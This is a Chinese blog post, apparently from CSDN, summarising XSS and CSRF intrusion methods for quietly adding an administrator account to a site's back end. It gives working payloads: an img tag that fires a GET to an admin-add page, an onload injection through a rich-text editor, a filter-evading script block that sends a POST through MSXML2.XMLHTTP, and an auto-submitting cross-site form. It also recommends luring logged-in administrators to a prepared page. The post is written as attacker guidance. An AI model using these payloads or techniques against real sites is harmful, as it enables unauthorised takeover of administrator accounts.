xss,csrf入侵方式小结 站内的GET和POST 与 站外的GET与POST

参考资料:http://www.cnblogs.com/coderlee/archive/2009/07/24/1530064.html

一般发现一个xss漏洞后要做的基本上就是这些:
 
 
1.  伪造请求  使用$_REQUEST或$_GET
 
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
 
如果是可视文本编辑器,可以尝试使用输入:
http://www.123.com/xxx.jpg" οnlοad="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
这样最终会构造出:
<img src="http://www.123.com/xxx.jpg" οnlοad="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
总之要举一反三。
 
 
 
2. 伪造请求  使用$_POST
 
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
复制代码
< sc /* xss */ ript >
var  aj  =   new  ActiveXObject( " MSXML2.XMLHTTP.3.0 " );
aj.open(
" POST " " /admin/admin_add.asp " false );
var  postdata  =   ' name=xxx&psd=yyy ' ;
aj.setRequestHeader(
" Content-Type " , " application/x-www-form-urlencoded " ); 
aj.send(postdata);
< / scr / * xss * / ipt>
复制代码
 
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
 
 
 
3. 跨站伪造请求 使用$_GET 或 $_REQUEST
 
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
 
 
4.跨站伪造请求 使用$_POST(0day)
 
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
 
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
 
 
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值